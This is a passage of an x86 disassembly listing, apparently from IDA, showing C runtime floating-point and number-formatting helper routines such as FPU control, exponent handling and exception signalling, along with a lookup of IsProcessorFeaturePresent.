		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43CF30
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43CF40
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43CF40
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43CF30
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF30
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB948, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB948, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43CE58


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43CF30
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43CE5C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43CF58
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43CF58
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43CF64
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427888
		fstp	[ebp+var_8]
		fld	dbl_427880
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427710
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A0EDDh
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43CBD4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C9C8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43CBD8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43CBD8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43CF80o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB9E0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB9DC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43CBD8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB9E0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB9E0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB9E4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB9DC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43CBD8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB9E0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
